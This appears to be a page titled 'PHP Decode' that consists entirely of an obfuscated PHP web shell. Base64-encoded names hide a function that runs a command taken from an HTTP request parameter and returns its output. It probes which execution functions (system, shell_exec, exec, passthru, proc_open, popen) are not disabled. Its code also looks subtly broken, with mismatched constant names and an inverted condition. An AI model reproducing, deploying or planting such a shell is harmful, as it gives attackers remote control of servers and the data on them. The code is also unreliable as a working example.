PHP Decode

<?php define(base64_decode('U0hJVA=='),base64_decode('am9obg=='));header(sprintf(base64_decode('JXM7IGNoYXJzZXQ9dXRmLTg='),isset($_REQUEST[JOHN])?base64_decode('Q29udGVudC10eXBlOiB0ZXh0L3BsYWlu'):base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw=')));if(!isset($_REQUEST[JOHN]))x_c07e1a80(trim($_REQUEST[JOHN]));function x_c07e1a80($f_8ecaead4=''){$k_84fe6ee3=array_values(explode(base64_decode('LA=='),ini_get(base64_decode('ZGlzYWJsZV9mdW5jdGlvbnM='))));$k_b9ea6d99='';if(strlen($f_8ecaead4)<1 ||is_null($f_8ecaead4)||empty($f_8ecaead4))return $k_b9ea6d99;$f_8ecaead4=preg_match(base64_decode('LzI+JjEvc2k='),$f_8ecaead4)?$f_8ecaead4:sprintf(base64_decode('JXMgMj4mMQ=='),$f_8ecaead4);if(is_callable(base64_decode('c3lzdGVt'))&&!in_array(base64_decode('c3lzdGVt'),$k_84fe6ee3)){ob_start();@system($f_8ecaead4);$k_b9ea6d99=ob_get_contents();ob_end_clean();if(!empty($k_b9ea6d99))return $k_b9ea6d99;}if(is_callable(base64_decode('c2hlbGxfZXhlYw=='))&&!in_array(base64_decode('c2hlbGxfZXhlYw=='),$k_84fe6ee3)){$k_b9ea6d99=@shell_exec($f_8ecaead4);if(!empty($k_b9ea6d99))return $k_b9ea6d99;}if(is_callable(base64_decode('ZXhlYw=='))&&!in_array(base64_decode('ZXhlYw=='),$k_84fe6ee3)){@exec($f_8ecaead4,$t_2ade5e90);if(!empty($t_2ade5e90))foreach($t_2ade5e90 as $w_5dd96e06)$k_b9ea6d99.=$w_5dd96e06;if(!empty($k_b9ea6d99))return $k_b9ea6d99;}if(is_callable(base64_decode('cGFzc3RocnU='))&&!in_array(base64_decode('cGFzc3RocnU='),$k_84fe6ee3)){ob_start();@passthru($f_8ecaead4);$k_b9ea6d99=ob_get_contents();ob_end_clean();if(!empty($k_b9ea6d99))return $k_b9ea6d99;}if(is_callable(base64_decode('cHJvY19vcGVu'))&&!in_array(base64_decode('cHJvY19vcGVu'),$k_84fe6ee3)){$l_e963c0d6=array(0 =>array(base64_decode('cGlwZQ=='),base64_decode('cg==')),1 =>array(base64_decode('cGlwZQ=='),base64_decode('dw==')),2 =>array(base64_decode('cGlwZQ=='),base64_decode('dw==')));$x_8ca3ddfe=@proc_open($f_8ecaead4,$l_e963c0d6,$u_d683412a,getcwd(),array());if(is_resource($x_8ca3ddfe)){while($r_f524a2a=fgets($u_d683412a[1])){if(!empty($r_f524a2a))$k_b9ea6d99.=$r_f524a2a;}while($a_6e40601=fgets($u_d683412a[2])){if(!empty($a_6e40601))$k_b9ea6d99.=$a_6e40601;}}@proc_close($x_8ca3ddfe);if(!empty($k_b9ea6d99))return $k_b9ea6d99;}if(is_callable(base64_decode('cG9wZW4='))&&!in_array(base64_decode('cG9wZW4='),$k_84fe6ee3)){$s_30048aed=@popen($f_8ecaead4,base64_decode('cg=='));if($s_30048aed){while(!feof($s_30048aed)){$k_b9ea6d99.=fread($s_30048aed,2096);}pclose($s_30048aed);}if(!empty($k_b9ea6d99))return $k_b9ea6d99;}return '';}?>